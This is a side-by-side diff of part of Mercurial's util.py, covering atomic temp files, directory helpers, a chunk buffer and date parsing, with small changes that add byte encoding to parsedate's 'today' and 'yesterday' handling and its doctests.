1688 return False
1688 return False
1689
1689
1690 def avoidambig(self, path, old):
1690 def avoidambig(self, path, old):
1691 """Change file stat of specified path to avoid ambiguity
1691 """Change file stat of specified path to avoid ambiguity
1692
1692
1693 'old' should be previous filestat of 'path'.
1693 'old' should be previous filestat of 'path'.
1694
1694
1695 This skips avoiding ambiguity, if a process doesn't have
1695 This skips avoiding ambiguity, if a process doesn't have
1696 appropriate privileges for 'path'. This returns False in this
1696 appropriate privileges for 'path'. This returns False in this
1697 case.
1697 case.
1698
1698
1699 Otherwise, this returns True, as "ambiguity is avoided".
1699 Otherwise, this returns True, as "ambiguity is avoided".
1700 """
1700 """
1701 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1701 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1702 try:
1702 try:
1703 os.utime(path, (advanced, advanced))
1703 os.utime(path, (advanced, advanced))
1704 except OSError as inst:
1704 except OSError as inst:
1705 if inst.errno == errno.EPERM:
1705 if inst.errno == errno.EPERM:
1706 # utime() on the file created by another user causes EPERM,
1706 # utime() on the file created by another user causes EPERM,
1707 # if a process doesn't have appropriate privileges
1707 # if a process doesn't have appropriate privileges
1708 return False
1708 return False
1709 raise
1709 raise
1710 return True
1710 return True
1711
1711
1712 def __ne__(self, other):
1712 def __ne__(self, other):
1713 return not self == other
1713 return not self == other
1714
1714
1715 class atomictempfile(object):
1715 class atomictempfile(object):
1716 '''writable file object that atomically updates a file
1716 '''writable file object that atomically updates a file
1717
1717
1718 All writes will go to a temporary copy of the original file. Call
1718 All writes will go to a temporary copy of the original file. Call
1719 close() when you are done writing, and atomictempfile will rename
1719 close() when you are done writing, and atomictempfile will rename
1720 the temporary copy to the original name, making the changes
1720 the temporary copy to the original name, making the changes
1721 visible. If the object is destroyed without being closed, all your
1721 visible. If the object is destroyed without being closed, all your
1722 writes are discarded.
1722 writes are discarded.
1723
1723
1724 checkambig argument of constructor is used with filestat, and is
1724 checkambig argument of constructor is used with filestat, and is
1725 useful only if target file is guarded by any lock (e.g. repo.lock
1725 useful only if target file is guarded by any lock (e.g. repo.lock
1726 or repo.wlock).
1726 or repo.wlock).
1727 '''
1727 '''
1728 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1728 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1729 self.__name = name # permanent name
1729 self.__name = name # permanent name
1730 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1730 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1731 createmode=createmode)
1731 createmode=createmode)
1732 self._fp = posixfile(self._tempname, mode)
1732 self._fp = posixfile(self._tempname, mode)
1733 self._checkambig = checkambig
1733 self._checkambig = checkambig
1734
1734
1735 # delegated methods
1735 # delegated methods
1736 self.read = self._fp.read
1736 self.read = self._fp.read
1737 self.write = self._fp.write
1737 self.write = self._fp.write
1738 self.seek = self._fp.seek
1738 self.seek = self._fp.seek
1739 self.tell = self._fp.tell
1739 self.tell = self._fp.tell
1740 self.fileno = self._fp.fileno
1740 self.fileno = self._fp.fileno
1741
1741
1742 def close(self):
1742 def close(self):
1743 if not self._fp.closed:
1743 if not self._fp.closed:
1744 self._fp.close()
1744 self._fp.close()
1745 filename = localpath(self.__name)
1745 filename = localpath(self.__name)
1746 oldstat = self._checkambig and filestat.frompath(filename)
1746 oldstat = self._checkambig and filestat.frompath(filename)
1747 if oldstat and oldstat.stat:
1747 if oldstat and oldstat.stat:
1748 rename(self._tempname, filename)
1748 rename(self._tempname, filename)
1749 newstat = filestat.frompath(filename)
1749 newstat = filestat.frompath(filename)
1750 if newstat.isambig(oldstat):
1750 if newstat.isambig(oldstat):
1751 # stat of changed file is ambiguous to original one
1751 # stat of changed file is ambiguous to original one
1752 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1752 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1753 os.utime(filename, (advanced, advanced))
1753 os.utime(filename, (advanced, advanced))
1754 else:
1754 else:
1755 rename(self._tempname, filename)
1755 rename(self._tempname, filename)
1756
1756
1757 def discard(self):
1757 def discard(self):
1758 if not self._fp.closed:
1758 if not self._fp.closed:
1759 try:
1759 try:
1760 os.unlink(self._tempname)
1760 os.unlink(self._tempname)
1761 except OSError:
1761 except OSError:
1762 pass
1762 pass
1763 self._fp.close()
1763 self._fp.close()
1764
1764
1765 def __del__(self):
1765 def __del__(self):
1766 if safehasattr(self, '_fp'): # constructor actually did something
1766 if safehasattr(self, '_fp'): # constructor actually did something
1767 self.discard()
1767 self.discard()
1768
1768
1769 def __enter__(self):
1769 def __enter__(self):
1770 return self
1770 return self
1771
1771
1772 def __exit__(self, exctype, excvalue, traceback):
1772 def __exit__(self, exctype, excvalue, traceback):
1773 if exctype is not None:
1773 if exctype is not None:
1774 self.discard()
1774 self.discard()
1775 else:
1775 else:
1776 self.close()
1776 self.close()
1777
1777
1778 def unlinkpath(f, ignoremissing=False):
1778 def unlinkpath(f, ignoremissing=False):
1779 """unlink and remove the directory if it is empty"""
1779 """unlink and remove the directory if it is empty"""
1780 if ignoremissing:
1780 if ignoremissing:
1781 tryunlink(f)
1781 tryunlink(f)
1782 else:
1782 else:
1783 unlink(f)
1783 unlink(f)
1784 # try removing directories that might now be empty
1784 # try removing directories that might now be empty
1785 try:
1785 try:
1786 removedirs(os.path.dirname(f))
1786 removedirs(os.path.dirname(f))
1787 except OSError:
1787 except OSError:
1788 pass
1788 pass
1789
1789
1790 def tryunlink(f):
1790 def tryunlink(f):
1791 """Attempt to remove a file, ignoring ENOENT errors."""
1791 """Attempt to remove a file, ignoring ENOENT errors."""
1792 try:
1792 try:
1793 unlink(f)
1793 unlink(f)
1794 except OSError as e:
1794 except OSError as e:
1795 if e.errno != errno.ENOENT:
1795 if e.errno != errno.ENOENT:
1796 raise
1796 raise
1797
1797
1798 def makedirs(name, mode=None, notindexed=False):
1798 def makedirs(name, mode=None, notindexed=False):
1799 """recursive directory creation with parent mode inheritance
1799 """recursive directory creation with parent mode inheritance
1800
1800
1801 Newly created directories are marked as "not to be indexed by
1801 Newly created directories are marked as "not to be indexed by
1802 the content indexing service", if ``notindexed`` is specified
1802 the content indexing service", if ``notindexed`` is specified
1803 for "write" mode access.
1803 for "write" mode access.
1804 """
1804 """
1805 try:
1805 try:
1806 makedir(name, notindexed)
1806 makedir(name, notindexed)
1807 except OSError as err:
1807 except OSError as err:
1808 if err.errno == errno.EEXIST:
1808 if err.errno == errno.EEXIST:
1809 return
1809 return
1810 if err.errno != errno.ENOENT or not name:
1810 if err.errno != errno.ENOENT or not name:
1811 raise
1811 raise
1812 parent = os.path.dirname(os.path.abspath(name))
1812 parent = os.path.dirname(os.path.abspath(name))
1813 if parent == name:
1813 if parent == name:
1814 raise
1814 raise
1815 makedirs(parent, mode, notindexed)
1815 makedirs(parent, mode, notindexed)
1816 try:
1816 try:
1817 makedir(name, notindexed)
1817 makedir(name, notindexed)
1818 except OSError as err:
1818 except OSError as err:
1819 # Catch EEXIST to handle races
1819 # Catch EEXIST to handle races
1820 if err.errno == errno.EEXIST:
1820 if err.errno == errno.EEXIST:
1821 return
1821 return
1822 raise
1822 raise
1823 if mode is not None:
1823 if mode is not None:
1824 os.chmod(name, mode)
1824 os.chmod(name, mode)
1825
1825
1826 def readfile(path):
1826 def readfile(path):
1827 with open(path, 'rb') as fp:
1827 with open(path, 'rb') as fp:
1828 return fp.read()
1828 return fp.read()
1829
1829
1830 def writefile(path, text):
1830 def writefile(path, text):
1831 with open(path, 'wb') as fp:
1831 with open(path, 'wb') as fp:
1832 fp.write(text)
1832 fp.write(text)
1833
1833
1834 def appendfile(path, text):
1834 def appendfile(path, text):
1835 with open(path, 'ab') as fp:
1835 with open(path, 'ab') as fp:
1836 fp.write(text)
1836 fp.write(text)
1837
1837
1838 class chunkbuffer(object):
1838 class chunkbuffer(object):
1839 """Allow arbitrary sized chunks of data to be efficiently read from an
1839 """Allow arbitrary sized chunks of data to be efficiently read from an
1840 iterator over chunks of arbitrary size."""
1840 iterator over chunks of arbitrary size."""
1841
1841
1842 def __init__(self, in_iter):
1842 def __init__(self, in_iter):
1843 """in_iter is the iterator that's iterating over the input chunks."""
1843 """in_iter is the iterator that's iterating over the input chunks."""
1844 def splitbig(chunks):
1844 def splitbig(chunks):
1845 for chunk in chunks:
1845 for chunk in chunks:
1846 if len(chunk) > 2**20:
1846 if len(chunk) > 2**20:
1847 pos = 0
1847 pos = 0
1848 while pos < len(chunk):
1848 while pos < len(chunk):
1849 end = pos + 2 ** 18
1849 end = pos + 2 ** 18
1850 yield chunk[pos:end]
1850 yield chunk[pos:end]
1851 pos = end
1851 pos = end
1852 else:
1852 else:
1853 yield chunk
1853 yield chunk
1854 self.iter = splitbig(in_iter)
1854 self.iter = splitbig(in_iter)
1855 self._queue = collections.deque()
1855 self._queue = collections.deque()
1856 self._chunkoffset = 0
1856 self._chunkoffset = 0
1857
1857
1858 def read(self, l=None):
1858 def read(self, l=None):
1859 """Read L bytes of data from the iterator of chunks of data.
1859 """Read L bytes of data from the iterator of chunks of data.
1860 Returns less than L bytes if the iterator runs dry.
1860 Returns less than L bytes if the iterator runs dry.
1861
1861
1862 If size parameter is omitted, read everything"""
1862 If size parameter is omitted, read everything"""
1863 if l is None:
1863 if l is None:
1864 return ''.join(self.iter)
1864 return ''.join(self.iter)
1865
1865
1866 left = l
1866 left = l
1867 buf = []
1867 buf = []
1868 queue = self._queue
1868 queue = self._queue
1869 while left > 0:
1869 while left > 0:
1870 # refill the queue
1870 # refill the queue
1871 if not queue:
1871 if not queue:
1872 target = 2**18
1872 target = 2**18
1873 for chunk in self.iter:
1873 for chunk in self.iter:
1874 queue.append(chunk)
1874 queue.append(chunk)
1875 target -= len(chunk)
1875 target -= len(chunk)
1876 if target <= 0:
1876 if target <= 0:
1877 break
1877 break
1878 if not queue:
1878 if not queue:
1879 break
1879 break
1880
1880
1881 # The easy way to do this would be to queue.popleft(), modify the
1881 # The easy way to do this would be to queue.popleft(), modify the
1882 # chunk (if necessary), then queue.appendleft(). However, for cases
1882 # chunk (if necessary), then queue.appendleft(). However, for cases
1883 # where we read partial chunk content, this incurs 2 dequeue
1883 # where we read partial chunk content, this incurs 2 dequeue
1884 # mutations and creates a new str for the remaining chunk in the
1884 # mutations and creates a new str for the remaining chunk in the
1885 # queue. Our code below avoids this overhead.
1885 # queue. Our code below avoids this overhead.
1886
1886
1887 chunk = queue[0]
1887 chunk = queue[0]
1888 chunkl = len(chunk)
1888 chunkl = len(chunk)
1889 offset = self._chunkoffset
1889 offset = self._chunkoffset
1890
1890
1891 # Use full chunk.
1891 # Use full chunk.
1892 if offset == 0 and left >= chunkl:
1892 if offset == 0 and left >= chunkl:
1893 left -= chunkl
1893 left -= chunkl
1894 queue.popleft()
1894 queue.popleft()
1895 buf.append(chunk)
1895 buf.append(chunk)
1896 # self._chunkoffset remains at 0.
1896 # self._chunkoffset remains at 0.
1897 continue
1897 continue
1898
1898
1899 chunkremaining = chunkl - offset
1899 chunkremaining = chunkl - offset
1900
1900
1901 # Use all of unconsumed part of chunk.
1901 # Use all of unconsumed part of chunk.
1902 if left >= chunkremaining:
1902 if left >= chunkremaining:
1903 left -= chunkremaining
1903 left -= chunkremaining
1904 queue.popleft()
1904 queue.popleft()
1905 # offset == 0 is enabled by block above, so this won't merely
1905 # offset == 0 is enabled by block above, so this won't merely
1906 # copy via ``chunk[0:]``.
1906 # copy via ``chunk[0:]``.
1907 buf.append(chunk[offset:])
1907 buf.append(chunk[offset:])
1908 self._chunkoffset = 0
1908 self._chunkoffset = 0
1909
1909
1910 # Partial chunk needed.
1910 # Partial chunk needed.
1911 else:
1911 else:
1912 buf.append(chunk[offset:offset + left])
1912 buf.append(chunk[offset:offset + left])
1913 self._chunkoffset += left
1913 self._chunkoffset += left
1914 left -= chunkremaining
1914 left -= chunkremaining
1915
1915
1916 return ''.join(buf)
1916 return ''.join(buf)
1917
1917
1918 def filechunkiter(f, size=131072, limit=None):
1918 def filechunkiter(f, size=131072, limit=None):
1919 """Create a generator that produces the data in the file size
1919 """Create a generator that produces the data in the file size
1920 (default 131072) bytes at a time, up to optional limit (default is
1920 (default 131072) bytes at a time, up to optional limit (default is
1921 to read all data). Chunks may be less than size bytes if the
1921 to read all data). Chunks may be less than size bytes if the
1922 chunk is the last chunk in the file, or the file is a socket or
1922 chunk is the last chunk in the file, or the file is a socket or
1923 some other type of file that sometimes reads less data than is
1923 some other type of file that sometimes reads less data than is
1924 requested."""
1924 requested."""
1925 assert size >= 0
1925 assert size >= 0
1926 assert limit is None or limit >= 0
1926 assert limit is None or limit >= 0
1927 while True:
1927 while True:
1928 if limit is None:
1928 if limit is None:
1929 nbytes = size
1929 nbytes = size
1930 else:
1930 else:
1931 nbytes = min(limit, size)
1931 nbytes = min(limit, size)
1932 s = nbytes and f.read(nbytes)
1932 s = nbytes and f.read(nbytes)
1933 if not s:
1933 if not s:
1934 break
1934 break
1935 if limit:
1935 if limit:
1936 limit -= len(s)
1936 limit -= len(s)
1937 yield s
1937 yield s
1938
1938
1939 def makedate(timestamp=None):
1939 def makedate(timestamp=None):
1940 '''Return a unix timestamp (or the current time) as a (unixtime,
1940 '''Return a unix timestamp (or the current time) as a (unixtime,
1941 offset) tuple based off the local timezone.'''
1941 offset) tuple based off the local timezone.'''
1942 if timestamp is None:
1942 if timestamp is None:
1943 timestamp = time.time()
1943 timestamp = time.time()
1944 if timestamp < 0:
1944 if timestamp < 0:
1945 hint = _("check your clock")
1945 hint = _("check your clock")
1946 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1946 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1947 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1947 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1948 datetime.datetime.fromtimestamp(timestamp))
1948 datetime.datetime.fromtimestamp(timestamp))
1949 tz = delta.days * 86400 + delta.seconds
1949 tz = delta.days * 86400 + delta.seconds
1950 return timestamp, tz
1950 return timestamp, tz
1951
1951
1952 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1952 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1953 """represent a (unixtime, offset) tuple as a localized time.
1953 """represent a (unixtime, offset) tuple as a localized time.
1954 unixtime is seconds since the epoch, and offset is the time zone's
1954 unixtime is seconds since the epoch, and offset is the time zone's
1955 number of seconds away from UTC.
1955 number of seconds away from UTC.
1956
1956
1957 >>> datestr((0, 0))
1957 >>> datestr((0, 0))
1958 'Thu Jan 01 00:00:00 1970 +0000'
1958 'Thu Jan 01 00:00:00 1970 +0000'
1959 >>> datestr((42, 0))
1959 >>> datestr((42, 0))
1960 'Thu Jan 01 00:00:42 1970 +0000'
1960 'Thu Jan 01 00:00:42 1970 +0000'
1961 >>> datestr((-42, 0))
1961 >>> datestr((-42, 0))
1962 'Wed Dec 31 23:59:18 1969 +0000'
1962 'Wed Dec 31 23:59:18 1969 +0000'
1963 >>> datestr((0x7fffffff, 0))
1963 >>> datestr((0x7fffffff, 0))
1964 'Tue Jan 19 03:14:07 2038 +0000'
1964 'Tue Jan 19 03:14:07 2038 +0000'
1965 >>> datestr((-0x80000000, 0))
1965 >>> datestr((-0x80000000, 0))
1966 'Fri Dec 13 20:45:52 1901 +0000'
1966 'Fri Dec 13 20:45:52 1901 +0000'
1967 """
1967 """
1968 t, tz = date or makedate()
1968 t, tz = date or makedate()
1969 if "%1" in format or "%2" in format or "%z" in format:
1969 if "%1" in format or "%2" in format or "%z" in format:
1970 sign = (tz > 0) and "-" or "+"
1970 sign = (tz > 0) and "-" or "+"
1971 minutes = abs(tz) // 60
1971 minutes = abs(tz) // 60
1972 q, r = divmod(minutes, 60)
1972 q, r = divmod(minutes, 60)
1973 format = format.replace("%z", "%1%2")
1973 format = format.replace("%z", "%1%2")
1974 format = format.replace("%1", "%c%02d" % (sign, q))
1974 format = format.replace("%1", "%c%02d" % (sign, q))
1975 format = format.replace("%2", "%02d" % r)
1975 format = format.replace("%2", "%02d" % r)
1976 d = t - tz
1976 d = t - tz
1977 if d > 0x7fffffff:
1977 if d > 0x7fffffff:
1978 d = 0x7fffffff
1978 d = 0x7fffffff
1979 elif d < -0x80000000:
1979 elif d < -0x80000000:
1980 d = -0x80000000
1980 d = -0x80000000
1981 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1981 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1982 # because they use the gmtime() system call which is buggy on Windows
1982 # because they use the gmtime() system call which is buggy on Windows
1983 # for negative values.
1983 # for negative values.
1984 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1984 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1985 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1985 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1986 return s
1986 return s
1987
1987
1988 def shortdate(date=None):
1988 def shortdate(date=None):
1989 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1989 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1990 return datestr(date, format='%Y-%m-%d')
1990 return datestr(date, format='%Y-%m-%d')
1991
1991
1992 def parsetimezone(s):
1992 def parsetimezone(s):
1993 """find a trailing timezone, if any, in string, and return a
1993 """find a trailing timezone, if any, in string, and return a
1994 (offset, remainder) pair"""
1994 (offset, remainder) pair"""
1995
1995
1996 if s.endswith("GMT") or s.endswith("UTC"):
1996 if s.endswith("GMT") or s.endswith("UTC"):
1997 return 0, s[:-3].rstrip()
1997 return 0, s[:-3].rstrip()
1998
1998
1999 # Unix-style timezones [+-]hhmm
1999 # Unix-style timezones [+-]hhmm
2000 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
2000 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
2001 sign = (s[-5] == "+") and 1 or -1
2001 sign = (s[-5] == "+") and 1 or -1
2002 hours = int(s[-4:-2])
2002 hours = int(s[-4:-2])
2003 minutes = int(s[-2:])
2003 minutes = int(s[-2:])
2004 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
2004 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
2005
2005
2006 # ISO8601 trailing Z
2006 # ISO8601 trailing Z
2007 if s.endswith("Z") and s[-2:-1].isdigit():
2007 if s.endswith("Z") and s[-2:-1].isdigit():
2008 return 0, s[:-1]
2008 return 0, s[:-1]
2009
2009
2010 # ISO8601-style [+-]hh:mm
2010 # ISO8601-style [+-]hh:mm
2011 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
2011 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
2012 s[-5:-3].isdigit() and s[-2:].isdigit()):
2012 s[-5:-3].isdigit() and s[-2:].isdigit()):
2013 sign = (s[-6] == "+") and 1 or -1
2013 sign = (s[-6] == "+") and 1 or -1
2014 hours = int(s[-5:-3])
2014 hours = int(s[-5:-3])
2015 minutes = int(s[-2:])
2015 minutes = int(s[-2:])
2016 return -sign * (hours * 60 + minutes) * 60, s[:-6]
2016 return -sign * (hours * 60 + minutes) * 60, s[:-6]
2017
2017
2018 return None, s
2018 return None, s
2019
2019
2020 def strdate(string, format, defaults=None):
2020 def strdate(string, format, defaults=None):
2021 """parse a localized time string and return a (unixtime, offset) tuple.
2021 """parse a localized time string and return a (unixtime, offset) tuple.
2022 if the string cannot be parsed, ValueError is raised."""
2022 if the string cannot be parsed, ValueError is raised."""
2023 if defaults is None:
2023 if defaults is None:
2024 defaults = {}
2024 defaults = {}
2025
2025
2026 # NOTE: unixtime = localunixtime + offset
2026 # NOTE: unixtime = localunixtime + offset
2027 offset, date = parsetimezone(string)
2027 offset, date = parsetimezone(string)
2028
2028
2029 # add missing elements from defaults
2029 # add missing elements from defaults
2030 usenow = False # default to using biased defaults
2030 usenow = False # default to using biased defaults
2031 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
2031 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
2032 part = pycompat.bytestr(part)
2032 part = pycompat.bytestr(part)
2033 found = [True for p in part if ("%"+p) in format]
2033 found = [True for p in part if ("%"+p) in format]
2034 if not found:
2034 if not found:
2035 date += "@" + defaults[part][usenow]
2035 date += "@" + defaults[part][usenow]
2036 format += "@%" + part[0]
2036 format += "@%" + part[0]
2037 else:
2037 else:
2038 # We've found a specific time element, less specific time
2038 # We've found a specific time element, less specific time
2039 # elements are relative to today
2039 # elements are relative to today
2040 usenow = True
2040 usenow = True
2041
2041
2042 timetuple = time.strptime(encoding.strfromlocal(date),
2042 timetuple = time.strptime(encoding.strfromlocal(date),
2043 encoding.strfromlocal(format))
2043 encoding.strfromlocal(format))
2044 localunixtime = int(calendar.timegm(timetuple))
2044 localunixtime = int(calendar.timegm(timetuple))
2045 if offset is None:
2045 if offset is None:
2046 # local timezone
2046 # local timezone
2047 unixtime = int(time.mktime(timetuple))
2047 unixtime = int(time.mktime(timetuple))
2048 offset = unixtime - localunixtime
2048 offset = unixtime - localunixtime
2049 else:
2049 else:
2050 unixtime = localunixtime + offset
2050 unixtime = localunixtime + offset
2051 return unixtime, offset
2051 return unixtime, offset
2052
2052
2053 def parsedate(date, formats=None, bias=None):
2053 def parsedate(date, formats=None, bias=None):
2054 """parse a localized date/time and return a (unixtime, offset) tuple.
2054 """parse a localized date/time and return a (unixtime, offset) tuple.
2055
2055
2056 The date may be a "unixtime offset" string or in one of the specified
2056 The date may be a "unixtime offset" string or in one of the specified
2057 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2057 formats. If the date already is a (unixtime, offset) tuple, it is returned.
2058
2058
2059 >>> parsedate(b' today ') == parsedate(\
2059 >>> parsedate(b' today ') == parsedate(
2060 datetime.date.today().strftime('%b %d'))
2060 ... datetime.date.today().strftime('%b %d').encode('ascii'))
2061 True
2061 True
2062 >>> parsedate(b'yesterday ') == parsedate((datetime.date.today() -\
2062 >>> parsedate(b'yesterday ') == parsedate(
2063 datetime.timedelta(days=1)\
2063 ... (datetime.date.today() - datetime.timedelta(days=1)
2064 ).strftime('%b %d'))
2064 ... ).strftime('%b %d').encode('ascii'))
2065 True
2065 True
2066 >>> now, tz = makedate()
2066 >>> now, tz = makedate()
2067 >>> strnow, strtz = parsedate(b'now')
2067 >>> strnow, strtz = parsedate(b'now')
2068 >>> (strnow - now) < 1
2068 >>> (strnow - now) < 1
2069 True
2069 True
2070 >>> tz == strtz
2070 >>> tz == strtz
2071 True
2071 True
2072 """
2072 """
2073 if bias is None:
2073 if bias is None:
2074 bias = {}
2074 bias = {}
2075 if not date:
2075 if not date:
2076 return 0, 0
2076 return 0, 0
2077 if isinstance(date, tuple) and len(date) == 2:
2077 if isinstance(date, tuple) and len(date) == 2:
2078 return date
2078 return date
2079 if not formats:
2079 if not formats:
2080 formats = defaultdateformats
2080 formats = defaultdateformats
2081 date = date.strip()
2081 date = date.strip()
2082
2082
2083 if date == 'now' or date == _('now'):
2083 if date == 'now' or date == _('now'):
2084 return makedate()
2084 return makedate()
2085 if date == 'today' or date == _('today'):
2085 if date == 'today' or date == _('today'):
2086 date = datetime.date.today().strftime('%b %d')
2086 date = datetime.date.today().strftime(r'%b %d')
2087 date = encoding.strtolocal(date)
2087 elif date == 'yesterday' or date == _('yesterday'):
2088 elif date == 'yesterday' or date == _('yesterday'):
2088 date = (datetime.date.today() -
2089 date = (datetime.date.today() -
2089 datetime.timedelta(days=1)).strftime('%b %d')
2090 datetime.timedelta(days=1)).strftime(r'%b %d')
2091 date = encoding.strtolocal(date)
2090
2092
2091 try:
2093 try:
2092 when, offset = map(int, date.split(' '))
2094 when, offset = map(int, date.split(' '))
2093 except ValueError:
2095 except ValueError:
2094 # fill out defaults
2096 # fill out defaults
2095 now = makedate()
2097 now = makedate()
2096 defaults = {}
2098 defaults = {}
2097 for part in ("d", "mb", "yY", "HI", "M", "S"):
2099 for part in ("d", "mb", "yY", "HI", "M", "S"):
2098 # this piece is for rounding the specific end of unknowns
2100 # this piece is for rounding the specific end of unknowns
2099 b = bias.get(part)
2101 b = bias.get(part)
2100 if b is None:
2102 if b is None:
2101 if part[0:1] in "HMS":
2103 if part[0:1] in "HMS":
2102 b = "00"
2104 b = "00"
2103 else:
2105 else:
2104 b = "0"
2106 b = "0"
2105
2107
2106 # this piece is for matching the generic end to today's date
2108 # this piece is for matching the generic end to today's date
2107 n = datestr(now, "%" + part[0:1])
2109 n = datestr(now, "%" + part[0:1])
2108
2110
2109 defaults[part] = (b, n)
2111 defaults[part] = (b, n)
2110
2112
2111 for format in formats:
2113 for format in formats:
2112 try:
2114 try:
2113 when, offset = strdate(date, format, defaults)
2115 when, offset = strdate(date, format, defaults)
2114 except (ValueError, OverflowError):
2116 except (ValueError, OverflowError):
2115 pass
2117 pass
2116 else:
2118 else:
2117 break
2119 break
2118 else:
2120 else:
2119 raise error.ParseError(_('invalid date: %r') % date)
2121 raise error.ParseError(_('invalid date: %r') % date)
2120 # validate explicit (probably user-specified) date and
2122 # validate explicit (probably user-specified) date and
2121 # time zone offset. values must fit in signed 32 bits for
2123 # time zone offset. values must fit in signed 32 bits for
2122 # current 32-bit linux runtimes. timezones go from UTC-12
2124 # current 32-bit linux runtimes. timezones go from UTC-12
2123 # to UTC+14
2125 # to UTC+14
2124 if when < -0x80000000 or when > 0x7fffffff:
2126 if when < -0x80000000 or when > 0x7fffffff:
2125 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2127 raise error.ParseError(_('date exceeds 32 bits: %d') % when)
2126 if offset < -50400 or offset > 43200:
2128 if offset < -50400 or offset > 43200:
2127 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2129 raise error.ParseError(_('impossible time zone offset: %d') % offset)
2128 return when, offset
2130 return when, offset
2129
2131
2130 def matchdate(date):
2132 def matchdate(date):
2131 """Return a function that matches a given date match specifier
2133 """Return a function that matches a given date match specifier
2132
2134
2133 Formats include:
2135 Formats include:
2134
2136
2135 '{date}' match a given date to the accuracy provided
2137 '{date}' match a given date to the accuracy provided
2136
2138
2137 '<{date}' on or before a given date
2139 '<{date}' on or before a given date
2138
2140
2139 '>{date}' on or after a given date
2141 '>{date}' on or after a given date
2140
2142
2141 >>> p1 = parsedate(b"10:29:59")
2143 >>> p1 = parsedate(b"10:29:59")
2142 >>> p2 = parsedate(b"10:30:00")
2144 >>> p2 = parsedate(b"10:30:00")
2143 >>> p3 = parsedate(b"10:30:59")
2145 >>> p3 = parsedate(b"10:30:59")
2144 >>> p4 = parsedate(b"10:31:00")
2146 >>> p4 = parsedate(b"10:31:00")
2145 >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
2147 >>> p5 = parsedate(b"Sep 15 10:30:00 1999")
2146 >>> f = matchdate(b"10:30")
2148 >>> f = matchdate(b"10:30")
2147 >>> f(p1[0])
2149 >>> f(p1[0])
2148 False
2150 False
2149 >>> f(p2[0])
2151 >>> f(p2[0])
2150 True
2152 True
2151 >>> f(p3[0])
2153 >>> f(p3[0])
2152 True
2154 True
2153 >>> f(p4[0])
2155 >>> f(p4[0])
2154 False
2156 False
2155 >>> f(p5[0])
2157 >>> f(p5[0])
2156 False
2158 False
2157 """
2159 """
2158
2160
2159 def lower(date):
2161 def lower(date):
2160 d = {'mb': "1", 'd': "1"}
2162 d = {'mb': "1", 'd': "1"}
2161 return parsedate(date, extendeddateformats, d)[0]
2163 return parsedate(date, extendeddateformats, d)[0]
2162
2164
2163 def upper(date):
2165 def upper(date):
2164 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2166 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2165 for days in ("31", "30", "29"):
2167 for days in ("31", "30", "29"):
2166 try:
2168 try:
2167 d["d"] = days
2169 d["d"] = days
2168 return parsedate(date, extendeddateformats, d)[0]
2170 return parsedate(date, extendeddateformats, d)[0]
2169 except Abort:
2171 except Abort:
2170 pass
2172 pass
2171 d["d"] = "28"
2173 d["d"] = "28"
2172 return parsedate(date, extendeddateformats, d)[0]
2174 return parsedate(date, extendeddateformats, d)[0]
2173
2175
2174 date = date.strip()
2176 date = date.strip()
2175
2177
2176 if not date:
2178 if not date:
2177 raise Abort(_("dates cannot consist entirely of whitespace"))
2179 raise Abort(_("dates cannot consist entirely of whitespace"))
2178 elif date[0] == "<":
2180 elif date[0] == "<":
2179 if not date[1:]:
2181 if not date[1:]:
2180 raise Abort(_("invalid day spec, use '<DATE'"))
2182 raise Abort(_("invalid day spec, use '<DATE'"))
2181 when = upper(date[1:])
2183 when = upper(date[1:])
2182 return lambda x: x <= when
2184 return lambda x: x <= when
2183 elif date[0] == ">":
2185 elif date[0] == ">":
2184 if not date[1:]:
2186 if not date[1:]:
2185 raise Abort(_("invalid day spec, use '>DATE'"))
2187 raise Abort(_("invalid day spec, use '>DATE'"))
2186 when = lower(date[1:])
2188 when = lower(date[1:])
2187 return lambda x: x >= when
2189 return lambda x: x >= when
2188 elif date[0] == "-":
2190 elif date[0] == "-":
2189 try:
2191 try:
2190 days = int(date[1:])
2192 days = int(date[1:])
2191 except ValueError:
2193 except ValueError:
2192 raise Abort(_("invalid day spec: %s") % date[1:])
2194 raise Abort(_("invalid day spec: %s") % date[1:])
2193 if days < 0:
2195 if days < 0:
2194 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2196 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2195 % date[1:])
2197 % date[1:])
2196 when = makedate()[0] - days * 3600 * 24
2198 when = makedate()[0] - days * 3600 * 24
2197 return lambda x: x >= when
2199 return lambda x: x >= when
2198 elif " to " in date:
2200 elif " to " in date:
2199 a, b = date.split(" to ")
2201 a, b = date.split(" to ")
